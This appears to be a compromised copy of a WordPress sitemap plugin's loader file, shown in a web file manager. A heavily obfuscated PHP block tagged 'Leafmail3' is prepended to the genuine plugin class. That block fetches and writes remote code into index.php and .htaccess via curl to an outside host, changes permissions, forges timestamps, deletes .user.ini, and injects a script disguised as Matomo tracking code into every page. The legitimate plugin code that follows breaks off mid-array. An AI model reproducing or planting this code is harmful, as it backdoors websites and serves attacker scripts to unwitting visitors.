trAvis - MANAGER
Edit File: class-googlesitemapgeneratorloader.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * Loader class for the XML Sitemap Generator * * This class takes care of the sitemap plugin and tries to load the different parts as late as possible. * On normal requests, only this small class is loaded. When the sitemap needs to be rebuild, the generator itself is loaded. * The last stage is the user interface which is loaded when the administration page is requested. * * @author Arne Brachhold * @package sitemap */ require_once trailingslashit( dirname( __FILE__ ) ) . 'class-googlesitemapgeneratorui.php'; /** * This class is for the sitemap loader */ class GoogleSitemapGeneratorLoader { /** * Version of the generator in SVN. * * @var string Version of the generator in SVN */ private static $svn_version = '$Id: class-googlesitemapgeneratorloader.php 937300 2014-06-23 18:04:11Z arnee $'; /** * Enabled the sitemap plugin with registering all required hooks * * @uses add_action Adds actions for admin menu, executing pings and handling robots.t xt * @uses add_filter Adds filtes for admin menu icon and contexual help * @uses GoogleSitemapGeneratorLoader::call_show_ping_result() Shows the ping result on request */ public static function enable() { // Register the sitemap creator to WordPress... add_action( 'admin_menu', array( __CLASS__, 'register_admin_page' ) ); // Add a widget to the dashboard. add_action( 'wp_dashboard_setup', array( __CLASS__, 'wp_dashboard_setup' ) ); // Nice icon for Admin Menu (requires Ozh Admin Drop Down Plugin) . add_filter( 'ozh_adminmenu_icon', array( __CLASS__, 'register_admin_icon' ) ); // Additional links on the plugin page . add_filter( 'plugin_row_meta', array( __CLASS__, 'register_plugin_links' ), 10, 2 ); // Listen to ping request . add_action( 'sm_ping', array( __CLASS__, 'call_send_ping' ), 10, 1 ); // Listen to daily ping . add_action( 'sm_ping_daily', array( __CLASS__, 'call_send_ping_daily' ), 10, 1 ); // Post is somehow changed (also publish to publish (=edit) is fired) . add_action( 'transition_post_status', array( __CLASS__, 'schedule_ping_on_status_change' ), 9999, 3 ); add_action( 'init', function() { remove_action( 'init', 'wp_sitemaps_get_server' ); }, 5 ); // Robots.txt request . add_action( 'do_robots', array( __CLASS__, 'call_do_robots' ), 100, 0 ); // Help topics for context sensitive help . // add_filter('contextual_help_list', array( __CLASS__, 'call_html_show_help_list' ), 9999, 2); . // Check if the result of a ping request should be shown . if ( isset( $_GET['sm_ping_service'] ) && ! empty( sanitize_text_field( wp_unslash( $_GET['sm_ping_service'] ) ) ) ) { self::call_show_ping_result(); } // Fix rewrite rules if not already done on activation hook. This happens on network activation for example. if ( get_option( 'sm_rewrite_done', null ) !== self::$svn_version ) { add_action( 'wp_loaded', array( __CLASS__, 'activate_rewrite' ), 9999, 1 ); } // Schedule daily ping . if ( ! wp_get_schedule( 'sm_ping_daily' ) ) { wp_schedule_event( time() + ( 60 * 60 ), 'daily', 'sm_ping_daily' ); } // Disable the WP core XML sitemaps . if(isset(get_option('sm_options')['sm_wp_sitemap_status']) ) $wp_sitemap_status = get_option('sm_options')['sm_wp_sitemap_status']; else $wp_sitemap_status = true; if($wp_sitemap_status === true) $wp_sitemap_status = '__return_true'; else $wp_sitemap_status = '__return_false'; add_filter( 'wp_sitemaps_enabled', $wp_sitemap_status ); // Create dynamically generated robots.txt if (isset(get_option('sm_options')['sm_b_robots'])) { if (get_option('sm_options')['sm_b_robots'] === true) { add_filter('robots_txt', array( __CLASS__, 'filter_robots' ), 99, 2); } } } /** * Overwriting all existing robots.txt contents * * @param [type] $output * @param [type] $public * @return void */ public static function filter_robots($output, $public) { $output = "User-agent: *\n"; if ('0' == $public ) { $output .= "Disallow: /\nDisallow: /*\nDisallow: /*?\n"; } else { $output .= "Disallow: /wp-admin/\nAllow: /wp-admin/admin-ajax.php\n"; } return $output; } /** * Sets up the query vars and template redirect hooks * * @uses GoogleSitemapGeneratorLoader::register_query_vars * @uses GoogleSitemapGeneratorLoader::do_template_redirect * @since 4.0 */ public static function setup_query_vars() { add_filter( 'query_vars', array( __CLASS__, 'register_query_vars' ), 1, 1 ); add_filter( 'template_redirect', array( __CLASS__, 'do_template_redirect' ), 1, 0 ); } /** * Register the plugin specific 'xml_sitemap' query var * * @since 4.0 * @param array $vars Array Array of existing query_vars . * @return Array An aarray containing the new query vars */ public static function register_query_vars( $vars ) { array_push( $vars, 'xml_sitemap' ); return $vars; } /** * Registers the plugin specific rewrite rules * * Combined: sitemap(-+([a-zA-Z0-9_-]+))?\.(xml|html)(.gz)?$ * * @since 4.0 * @param array $wp_rules Array of existing rewrite rules . * @return Array An array containing the new rewrite rules */ public static function add_rewrite_rules( $wp_rules ) { if(is_multisite()) { if(isset(get_blog_option( get_current_blog_id(), 'sm_options' )['sm_b_sitemap_name'])) { $sm_sitemap_name = get_blog_option( get_current_blog_id(), 'sm_options' )['sm_b_sitemap_name']; } } else if(isset(get_option('sm_options')['sm_b_sitemap_name'])) $sm_sitemap_name = get_option('sm_options')['sm_b_sitemap_name']; if(!isset($sm_sitemap_name)) $sm_sitemap_name = 'sitemap'; $sm_rules = array( '.*-misc\.xml$' => 'index.php?xml_sitemap=params=$matches[2]', '.*-misc\.xml\.gz$' => 'index.php?xml_sitemap=params=$matches[2];zip=true', '.*-misc\.html$' => 'index.php?xml_sitemap=params=$matches[2];html=true', '.*-misc\.html\.gz$' => 'index.php?xml_sitemap=params=$matches[2];html=true;zip=true', '.*-sitemap(?:\d{1,4}(?!-misc)|-misc)?\.xml$' => 'index.php?xml_sitemap=params=$matches[2]', '.*-sitemap(?:\d{1,4}(?!-misc)|-misc)?\.xml\.gz$' => 'index.php?xml_sitemap=params=$matches[2];zip=true', '.*-sitemap(?:\d{1,4}(?!-misc)|-misc)?\.html$' => 'index.php?xml_sitemap=params=$matches[2];html=true', '.*-sitemap(?:\d{1,4}(?!-misc)|-misc)?\.html\.gz$' => 'index.php?xml_sitemap=params=$matches[2];html=true;zip=true', $sm_sitemap_name . '(?:\d{1,4}(?!-misc)|-misc)?\.xml$' => 'index.php?xml_sitemap=params=$matches[2]', $sm_sitemap_name . '(?:\d{1,4}(?!-misc)|-misc)?\.xml\.gz$' => 